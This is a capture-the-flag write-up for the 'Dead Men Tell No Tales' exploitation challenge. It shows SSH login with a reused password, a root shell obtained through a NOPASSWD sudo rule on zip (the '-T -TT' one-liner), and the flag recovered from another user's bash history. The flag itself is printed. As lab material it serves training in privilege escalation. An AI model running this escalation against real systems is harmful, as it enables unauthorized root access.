# Dead Men Tell No Tales![Category](http://img.shields.io/badge/Category-Exploitation-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-400-brightgreen?style=for-the-badge)
## Details
>We've discovered a remote system used by DEADFACE. We're not sure what the password is, but we know Donnell Aulner has an account on that machine. We believe DEADFACE has stored valuable information on this machine. The flag exists on the machine in the format flag{some-text-here}. Submit the flag as flag{flag-goes-here}.>>Username: dracula>>deadmen.deadface.io:22---
There is no password given in this challenge, but we do have a password which `dracula` used previosuly from another challenge [link here]()
Using that password we can access the shell.
Once logged in we have a look around but can see any obvious files. So next we run `sudo -l`
```bashdracula@c0d89345e437:~$ sudo -lMatching Defaults entries for dracula on c0d89345e437:    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dracula may run the following commands on c0d89345e437:    (ALL) NOPASSWD: /usr/bin/zip```
We can take advantage of a Priv Esc availble in the zip executable as detailed [here](https://gtfobins.github.io/gtfobins/zip/).
```bash$ TF=$(mktemp -u)$ sudo /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'  adding: etc/hosts (deflated 34%)# whoamiroot```
Now that we're root, lets look as what files are in the home directories.
```bash# ls -alR /home/home:total 28drwxr-xr-x 1 root      root      4096 Sep 19 01:37 .drwxr-xr-x 1 root      root      4096 Oct 19 15:30 ..drwxr-xr-x 2 d34th     d34th     4096 Sep 19 01:37 d34thdrwxr-xr-x 1 dracula   dracula   4096 Sep 19 01:44 draculadrwxr-xr-x 1 spookyboi spookyboi 4096 Sep 19 01:39 spookyboi
/home/d34th:total 24drwxr-xr-x 2 d34th d34th 4096 Sep 19 01:37 .drwxr-xr-x 1 root  root  4096 Sep 19 01:37 ..-rw-r--r-- 1 d34th d34th  220 Sep 19 01:37 .bash_logout-rw-r--r-- 1 d34th d34th 3771 Sep 19 01:37 .bashrc-rw-r--r-- 1 d34th d34th  807 Sep 19 01:37 .profile
/home/dracula:total 36drwxr-xr-x 1 dracula dracula 4096 Sep 19 01:44 .drwxr-xr-x 1 root    root    4096 Sep 19 01:37 ..-rw------- 1 dracula dracula    1 Sep 19 01:45 .bash_history-rw-r--r-- 1 dracula dracula  220 Sep 19 01:37 .bash_logout-rw-r--r-- 1 dracula dracula 3771 Sep 19 01:37 .bashrcdrwxrwxr-x 3 dracula dracula 4096 Sep 19 01:44 .local-rw-r--r-- 1 dracula dracula  807 Sep 19 01:37 .profile
/home/dracula/.local:total 16drwxrwxr-x 3 dracula dracula 4096 Sep 19 01:44 .drwxr-xr-x 1 dracula dracula 4096 Sep 19 01:44 ..drwx------ 3 dracula dracula 4096 Sep 19 01:44 share
/home/dracula/.local/share:total 12drwx------ 3 dracula dracula 4096 Sep 19 01:44 .drwxrwxr-x 3 dracula dracula 4096 Sep 19 01:44 ..drwx------ 2 dracula dracula 4096 Sep 19 01:44 nano
/home/dracula/.local/share/nano:total 8drwx------ 2 dracula dracula 4096 Sep 19 01:44 .drwx------ 3 dracula dracula 4096 Sep 19 01:44 ..
/home/spookyboi:total 28drwxr-xr-x 1 spookyboi spookyboi 4096 Sep 19 01:39 .drwxr-xr-x 1 root      root      4096 Sep 19 01:37 ..-rw------- 1 spookyboi spookyboi   93 Sep 19 01:39 .bash_history-rw-r--r-- 1 spookyboi spookyboi  220 Sep 19 01:37 .bash_logout-rw-r--r-- 1 spookyboi spookyboi 3771 Sep 19 01:37 .bashrc-rw-r--r-- 1 spookyboi spookyboi  807 Sep 19 01:37 .profile```There's not a lot, but there are some hidden files in spookyboi's home folder.
Lets take a look at his `.bash_history`
```bash# cat /home/spookyboi/.bash_historycd ~echo "flag{c4c089cdbe222b9360880a07c987b581c6f51609}" > flag.txtrm flag.txtexitexit#
```And there's our flag!
## flag{c4c089cdbe222b9360880a07c987b581c6f51609}